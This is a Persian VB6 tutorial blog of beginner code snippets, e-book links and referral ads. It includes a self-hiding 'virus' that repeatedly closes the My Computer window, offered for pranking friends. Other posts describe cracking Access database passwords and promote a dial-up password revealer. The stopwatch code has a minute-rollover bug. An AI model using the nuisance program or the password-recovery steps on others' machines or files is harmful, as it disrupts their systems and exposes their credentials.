فید خوان rss reader

تبليغات

اين وبلاگ آماده تبادل لينك با هر وبلاگي است ابتدا ما را با نام "دنياي ويژوال بيسيك6" لينك كنيد سپس در قسمت نظرات اسم و عنوان وبلاگ خود را قرار دهيد تا شما را لينك كنيم

این هم یك سایت توپ كه اگه فقط 9 زیر مجموعه برای خود پیدا كنید به شما دامین رایگان (com. و net. و.org.) میدهد برای ثبت نام روی لینك زیر كلیك كنید:

http://www.FreePremiumDomain.com/?r=132675

شما برای محدود کردن کاراکتر هایی که صفحه کلید در TextBox وارد می کند بایستی در داخل رخداد KeyPress و
Change، کاراکترهای غیر مجاز را فیلتر کنید.
اگر فقط اینکار را در KeyPress انجام دهید، کاربر می تواند از Copy و Paste برای انتقال کاراکتر های غیر مجاز استفاده کند.
اگر فقط اینکار را در Change انجام دهیم، کاراکترهای غیر مجاز ابتدا به متن اضافه می شوند و سپس دوباره حذف خواهند شد
که باعث پر پر زدن TextBox و جابجایی بی مورد مکان نما (Cursor) می شود.

Private Const CharSet As String = "0123456789"

Private Sub Text1_Change()
    Dim Pos As Long, Str As String, Text As String
    Dim SelStart As Long
    With Text1
        Text = .Text
        SelStart = .SelStart
        For Pos = 1 To Len(Text)
            If InStr(CharSet, Mid(Text, Pos, 1)) > 0 Then
                Str = Str & Mid(Text, Pos, 1)
            End If
        Next
        .Text = Str
        .SelStart = SelStart
    End With
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
    If InStr(CharSet, Chr(KeyAscii)) = 0 Then KeyAscii = 0
End Sub

از این به بعد میتونید با آدرس www.vb06.tk به وبلاگ وارد شوید

در ضمن به زودی تغییرات مهمی در وبلاگ صورت خواهد گرفت

با استفاده از اين كد مي‌توانيد پسورد ديتابيس‌هاي Access 2000 را پيدا كنيد.

ابتدا بايد تاريخ درست شدن ديتابيس را بدست آوريد براي اينكار كافيست روي فايل ديتابيس كليك راست كرده و وارد properties شويد در آنجا تاريخ به وجود آمدن فايل نوشته شده است.
سپس بايد تاريخ كامپيوتر خود را به تاريخ ساخت ديتابيس تغيير دهيد
حال وارد Access شده و يك فايل ديتابيس خالي مي‌سازيد و نام blank database.mdb آن را بگذاريد.
حال كد زير را در ويژوال بيسيك اجرا نماييد تا پسورد ديتابيس را به شما بدهد.

تذكر 1 : تاريخ ساخت يك ديتابيس حتما همان تاريخ نوشته شده در properties نيست زيرا مثلا اگر شما يك ديتابيس را Download نماييد تاريخ ساخت همان تاريخ Download شدن فايل مي‌شود و اين باعث مي‌شود اين كد درست عمل ننمايد.

تذكر 2 : در اين كد فرض شده ديتابيس پسورد دار در آدرس c:protected database.mdb هست.

روش پيدا كردن پسورد ديتابيس‌هاي ساخته شده با Access 97
شما با استفاده از ويژوال بيسيك مي‌توانيد اين كار را انجام دهيد

با كد زير مي‌توانيد اين كار را انجام دهيد البته به جاي فايل c:protected db.mdb شما بايد آدرس ديتابيس خود را قرار دهيد.
تذكر : اين كد فقط براي ديتابيس‌هاي ساخته شده در Access 97 كار مي‌كند.
کد: 

با كد مي‌توانيد دكمه START را غيب كنيد. ابتدا كد زير را در يك ماژول وارد نماييد. کد: Private Declare Function ShowWindow Lib "User32" (ByVal hWnd as Long,ByVal nCmdShow as Long) as Long به وسيله كدهاي زير مي‌توانيد دكمه را غيب و يا آشكار نماييد کد: ShowWindow 532,0 'To Hide ShowWindow 532,1 'To Show

دوست خوبمون آقا بيژن پرسيده بودن كه چه طوری می شه یک متن یا یک کلمه رو تو یک متن جستجو کرد و مقدار برگشتی چی هست true و false یا چیز دیگه ای هست 
دوست عزيز اين هم كد جست و جو   

مواد مورد نياز:  TextBox,RichTextBox(از اين مسير فعال كنيد Project>Components>Microsoft Rich Textbox)

Private Sub Command1_Click()
Static start As Long
    RichTextBox1.SelStart = 1
    RichTextBox1.HideSelection = False
    textfind = RichTextBox1.Find(Text2.Text, start)
    If textfind <> -1 Then
        start = textfind + 1
    Else
    MsgBox "Search is not found", vbExclamation, "www.vb06.javanblog.com"
    start = 0
    End If

End Sub 

مشكلي بود حتما بگين  

نظر هم يادتون نره

سلام دوستان  

من براي بهتر شدن وبلاگ به چند نفر علاقه مند به ويژوال بيسيك نياز دارم كه تو اداره ي وبلاگ منو ياري كنند 

كساني علاقمندند تو نظرات بهم خبر بدن 

سلام دوستان عزيز  

- با عضويت رایگان در سایت 5000 تومان اعتبار قابل نقد دریافت می کنید.
- در قبال معرفی هر نفر به سایت 500 تومان پورسانت قابل نقد می گیرید.
- با شرکت در مسابقات روزانه از جوایز نقدی بهره مند خواهید شد.
- با تغییر رتبه بازاریابی از جوایزه ویژه برخوردار خواهید شد.
- با درجه آگهی درآمد زا توسط شما و زیرمجموعه های شما پورسانت دریافت خواهید کرد.
- با استفاده از کدهای درآمد زا و بر حسب رتبه بازاریابی خود برای هر کلیک بین 50 تا 200 ریال درآمد خواهید داشت.
- درج آگهی رایگان به تعداد دلخواه
- امکان درج سریع هر آگهی تنها در یک مرحله
- امکان ارسال عکس برای هر نوع آگهی
- امکان ارسال SMS رایگان
- و ده ها امکان برتر دیگر که بزودی در اختیار شما قرار می‌گیرد

با این همه مزایا در فکر چه هستید ؟؟؟؟ 

براي ثبت نام روي بنر زير كليك كنيد 

سورس كد تغيير مكان فرم در هر لحظه

 Interval تايمر رو 200 بزاريد

Private Sub Timer1_Timer() Dim Height As String Dim Width As String Dim Top As String Dim Left As String Randomize Height = Int(Rnd * 10000) Width = Int(Rnd * 10000) Top = Int(Rnd * Screen.Height) Left = Int(Rnd * Screen.Width)

سوال دوستمون علي : چطوری می شه فهمید یک ورودی یا متن از چند کرکتر درست شده؟ 

اين كار رو ميشه خيلي راحت با يه سطر كد انجام داد

مواد مورد نياز:Command ,Textbox ,Label

Private Sub Command1_Click()

Label1 = Len(Text1.Text)

End Sub

سلام دوست عزيزي به نام علی پرسيده بودن چه طور می توان کاری کرد که مثلا عدد 12345 رو از هم جدا کرد و هر کدوم از عدد ها رو روی یک لیبل نشون داد  

براي اين كار  ما ميتونيم از توابع left ,right ,mid استفاده كنيم  

مواد مورد نياز :command ,textbox و 5 تا Label 

اينم كدها اگه مشكلي بود حتما بيان كنيد 

Dim anystring, mystr
Private Sub Command1_Click()
anystring = Text1.Text
Label1 = Left(anystring, 1)
Label3 = Right(anystring, 1)
Label2 = Mid(anystring, 2, 1)
Label4 = Mid(anystring, 3, 1)
Label5 = Mid(anystring, 4, 1)
End Sub
  (سطر اول رو تو جنرال وارد كنيد)

برای تغییر ابعاد تصویر شیوه های متفاوتی وجود دارند، تفاوت این شیوه ها در نحوه محاسبه رنگ نقاطی است
که بایستی بعد از تغییر ابعاد در موقعیت های متفاوت تصویر جایگزین شوند، مثلا اگر ابعاد تصویر نصف شود،
بایستی یک پیکسل جایگزین دو پیکسل شود. بدیهی است که هر کدام کیفیت خروجی متفاوتی دارند.

با توجه به پیچیدگی ریاضی و تعداد زیاد محاسباتی که بایستی برای تمامی نقاط تصویر اجرا شوند، اجرای آنها
در ویژوال بیسیک کند خواهد بود.



در برنامه زیر چهار شیوه تغییر ابعاد تصاویر بصورت عملی پیاده سازی شده اند :

• شیوه Nearest Neighbour
• شیوه Bilinear
• شیوه Bicubic
• شیوه BSpline

Interpolation.zip
 رمز فايل: www.vb06.javanblog.com

اين كد به شما اين امكان را مي‌دهد كه منو‌هايي به صورت چند ستوني در ويژوال بيسيك داشته باشيد. ابتدا يك دكمه به نام Command1 به فرم خود اضافه نماييد سپس با استفاده از ابزار منو سازي دو منو اصلي و 4 زير منو براي هريك درست كنيد سپس كد زير را در ماژول قرار دهيد.

كدها در ادامه مطلب

دوست عزيزي گفته بودن كه در مورد ساختار sub يا سابروتين توضيحي بدم  

با اين سورس كد مي توانيد افكت زيبايي را در فرمتان ايجاد كنيد. واقعا زيباست !!!

اين هم كدش :

Private Sub Form_Load()
Me.AutoRedraw = True
For i = 0 To Height
Me.Line (0, i)-(Width, i), -RGB(0, i / 20, 0)
Next
End Sub

Private Sub Form_Resize()
Form_Load
End Sub

توسط این سورس کد می توانید از صفحه دسکتاب خودتان فیلم بگیرید. 

Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long

Private Sub Form_Load()
AutoRedraw = True
End Sub

Private Sub Timer1_Timer()
Dim handel, DC As Long
handel = GetDesktopWindow
DC = GetDC(handel)
StretchBlt Me.hdc, 0, 0, Width, Height, DC, 0, 0, Screen.Width, Screen.Height, vbSrcCopy
Refresh
End Sub

سلام امروز یک کد بسیار ساده برای شما آماده کردم. کد زیر باعث میشه فقط برنامه برای 25 اجرا بشه نه بیشتر  یک command1 به فرم اضافه کنید و بعد کد زیر را به برنامه اضافه کنید 

کتاب های الکترونیکی

سلام دوستان امروز براتون چند تا کتاب آموزشی دارم.

آموزش ویژوال بیسیک  دانلود (۳۳۹ کیلو بایت)

آموزش PHP فارسی دانلود (۱۳۷۲ کیلو بایت)

آموزش جاوا اسکریپت دانلود (۴۸۸ کیلو بایت)

و آموزش C شارپ به صورت کامل (مرجع کامل سی شارپ C# Full)

به علت حجم زیاد فایل رو به ۹ قسمت یک و نیم مگابایتی در آوردم تا با اینترنت دیال آپ هم به راحتی دانلود بشه. حجم فایل کامل ۱۲ مگابایت بود.

دانلود قسمت ۱

دانلود قسمت ۲

دانلود قسمت ۳

دانلود قسمت ۴

دانلود قسمت ۵

دانلود قسمت ۶

دانلود قمست ۷

دانلود قسمت ۸

دانلود قسمت ۹

بعد از دانلود همه فایلها، تمام فایلها رو انتخاب کنید (Select All) و راست کلیک کرده و گزینه Extract Here رو بزنید تا فایلها به طور کامل استخراج بشن. موفق باشید

این تابع مینیمم و ماکزیمم و تعداد اعدادی که میخواین تولید کنین رو میگیره و براتوان در یک آرایه قرار میده.

میتونین خروجی رو مرتب هم تحویل بگیرین.

همراه با Sample هست.

دانلود

توسط این دستورات می توانید یک متن دلخواه را به صورت سه بعدی روی فرم نشان دهید برای این کار ابتدا کد زیر را به یک ماجول اضافه کنید :

روی فرم یک دکمه بگذارید و برای آن کد زیر را بنویسید :

برنامه را اجرا کنید و نتیجه را مشاهده کنید .

اگر نظري داريد لطفا بفرماييد . اميدوارم بتونم مطالب بهتر از اين در اختیار شما بگذارم

براي ايجاد يك پايگاه داده اكسس چند راه وجود دارد . شما ميتوانيد اين كار را هم از طريق مايكروسافت اكسس و هم از طريق ويژوال بيسيك انجام دهيد . در پايان اين مطلب من به شما ثابت ميكنم كه از اين راحت تر نميشه بانك اطلاعاتي درست كرد حتي اگر اكسس هم بلد نباشيد! در تمام نسخه هاي ويژوال بيسيك تقريبا به صورت مشابه اين كار انجام ميشود . نسخه 4 ويژوال بيسيك از طريق Data manager و در نسخه هاي بعدي به وسيله Visual Data Manager ميتوان از امكانات پايگاه داده ها استفاده كرد . از آنجا كه من از ويژوال بيسيك 6 استفاده ميكنم بنابراين به بررسي Visual Data Manager مي پردازم .

اين ويروس مانع از باز شدن my coputer و يا هر برنامه دلخواه ميشه ميتونين با اين ويروس حال دوستاتون رو بگيرين 

بریم سراغ کدها
ابتدا این کد ها رو در قسمت general کپی کنید

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

و در نهایت این کدها را هم در برنا مه تون قرار بدبد 

Private Sub Timer1_Timer()
Form1.Hide
Dim handel As Long
handel = FindWindow(vbNullString, "my computer")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If
End Sub
این برنامه یه timer با interval=1 نیاز دارد

و اما توضیح برنامه:
در این برنامه پس از اجرا برنامه بدنبال پنجره ای با نام مورد نظر می گرده و در صورت پیدا کردن اون رو می بنده.
دوستان نیازی به توضیخ خط به خط نمی بینم ولی اگه خواستید بگید تا ذکر کنم 

اگه بخاییم ویروس با هم تعداد زیاد تری از پنجره ها رو ببنده کافیه تایمر های جدیدی اضافه کنیم و کدهای مربوط به تایمر اول را با تغییر my computerبه عبارت مورد نظر در قسمت کد نویسی آن تایمر ها قرار دهیم
تا اگه هر کدوم از پنجره ها یا برنامه های مورد نظر اجرا شد اونها را ببنده

سلام دوستان 

دوست عزيزي به نام فاطمه پرسيده بودن : در ویژوال بیسیک چطور می توانیم فاصله زمانی که در حالت اجرا هستیم را در یک labelچاپ کنیم  

يه label و يه Timer باز كنين 

از خصوصيات تايمر Interval رو برابر 1000 قرار بدين 

حالا اينا رو كپي كنين 

Dim h, m, s As String

Private Sub Form_Load()
h = 0
m = 0
s = 0
End Sub

Private Sub Timer1_Timer()
s = Val(s)
m = Val(m)
h = Val(h)

s = s + 1
If s > 59 Then
s = 0
m = m + 1
End If
If m < 0 Then
m = 1
h = h + 1
End If
If Val(h) < 0 Then
Timer1.Enabled = False
Exit Sub
End If
If Val(h) < 10 Then h = "0" & h
If Val(m) < 10 Then m = "0" & m
If Val(s) < 10 Then s = "0" & s
label1.Caption = h & ":" & m & ":" & s
End Sub

كتاب الكترونيكي آموزش ويژوال بيسيك 6 از مقدماتي تا حرفه اي 

دانلود 

رمز فايل(www.vb06.33ir.com)  

نظر يادتون نره

پروژه دفترچه تلفن مخصوص پايان ترم  با قيمت ناچيز به فروش ميرسه

قيمت ۱۰۰۰۰تومان

عكسي از برنامه

با اين برنامه مي تونيد password و username و شماره تلفني كه با اون به اينترنت وصل مي شويد رو ببينيد
 

DialuPass 2.43 

 سلام دوستان امروز مي خوام مجموعه اي از سورس ها رو قرار بدم اميدوارم بدردتون بخوره قبل از سورس ها يه مطلبي هست كه بايد بگم

اين وبلاگ روزي حدود 100 بازديد داره ولي نميدونم چرا هيچ كدام نظر نميده وبلاگ هرروز با مطلب جديد آپ ميشه  هر روز به اينجا سر بزنيد  و اگر مي خواهيد زيباتر بشه  نظر بدين 

سورسها تو ادامه مطلب

مطالب پيشين

دامین كاملا رایگان
محدود کردن کاربر به وارد کردن عدد ( نه حروف) در TextBox
بدون عنوان
پيداكردن پسورد ديتابيس‌ها 2
پيدا كردن پسورد ديتابيس‌ها 1
روش غيب كردن دكمه START
بدون عنوان
بدون عنوان
عضو شوید 50000 ریال جایزه بگیرید
سورس كد تغيير مكان فرم در هر لحظه

اين قالب توسط قالب ساز جوان بلاگ طراحي و ترجمه وپشتيبان اين وبلاگ جوان بلاگ مي باشد